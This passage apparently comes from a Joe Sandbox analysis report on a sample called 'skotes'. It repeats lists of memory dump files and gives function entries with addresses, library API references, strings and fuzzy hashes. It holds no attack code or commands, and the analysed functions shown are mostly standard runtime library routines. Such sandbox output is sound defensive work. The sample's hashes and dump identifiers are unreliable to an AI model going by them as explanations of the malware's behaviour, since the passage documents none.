Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d884861e1ae436a59cb3f970a7d4a74f50dafbe7aa0a3e9bc289e9b32b4dfdc5
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: E6F0AE31500E205EF5A1AB549411FE623D79F40711F04C41DE45B97643CE24F882CF54

Function 0060EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0060EFD1

Part of subcall function 0060F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0060F989
Part of subcall function 0060F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0060F9C0
Part of subcall function 0060F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0060F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EFDD

Part of subcall function 0060F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0060F433

Concurrency::Context::Block.LIBCONCRT ref: 0060EFE2

Part of subcall function 00610366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00610368

Concurrency::critical_section::lock.LIBCONCRT ref: 0060F002

Part of subcall function 0060F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0060F8AC
Part of subcall function 0060F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0060F8B7

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 1a5a1bfd668353aea8be7124889b4124e3d763f7081d354689451b07c2e8404f
Instruction ID: 00b03107d3530b3fa8728982b76e2f0875f20be2cc750dcbed7f722a4ff94073
Opcode Fuzzy Hash: 1a5a1bfd668353aea8be7124889b4124e3d763f7081d354689451b07c2e8404f
Instruction Fuzzy Hash: 63E0DF34940101ABCB98FB20C4551AEBB63BF44320B04831CE861132E2CF346E86CB88

Function 00607A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00607AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00607B01

Strings

d+e, xrefs: 00607A94, 00607AA2, 00607A9A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: d+e
API String ID: 1432671424-4214739536
Opcode ID: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction ID: 5d1a5b89062e6a9866a156d07c355a4a9a257a28ad3e8004a3c82708d8d5a3e8
Opcode Fuzzy Hash: a029f77e9808991ab55a44310397850e12aee3678c08a0e290509425163630a7
Instruction Fuzzy Hash: C031F6B1A447049FD728DFA8D841A5BB7E9EF18310F100A2EE945C32C1E771FA5487A5

Function 0062F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0062F232
__freea.LIBCMT ref: 0062F298

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,05320AC3), ref: 0062B07D

Strings

Zb,mb, xrefs: 0062F1D2

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zb,mb
API String ID: 809856575-2221940238
Opcode ID: 0c162ba6c78bd4ea8a46c6e0af6bc774c1b4bbdf681cd8e2b3222828e08a779f
Instruction ID: bf22a99df621443614c435d68cd8ad13045d56d9c0063542a579ca3856b45da5
Opcode Fuzzy Hash: 0c162ba6c78bd4ea8a46c6e0af6bc774c1b4bbdf681cd8e2b3222828e08a779f
Instruction Fuzzy Hash: 7631B271901A2AEBDB219FA4EC41EEF7BBAEF41710F054138F914A7251DB308E51CBA4

Function 00621704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00621764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006217AF

Strings

pContext, xrefs: 006217A7

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction ID: 342f4eb61742abd8f4883abda6a682aa70e850acf01cc3158afcbab7fc6948a0
Opcode Fuzzy Hash: c24fd73ce95f371481a2a0a6caa808acfb4f2be3eeaf06a8d1f6f7d4a4dea070
Instruction Fuzzy Hash: E8113639A046309BCB45AF18E4845AD73A7AFE6360B054069EC029F381DB74ED01CFD0

Function 00610C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00610CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00610D2A

Strings

p[e, xrefs: 00610CCF

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
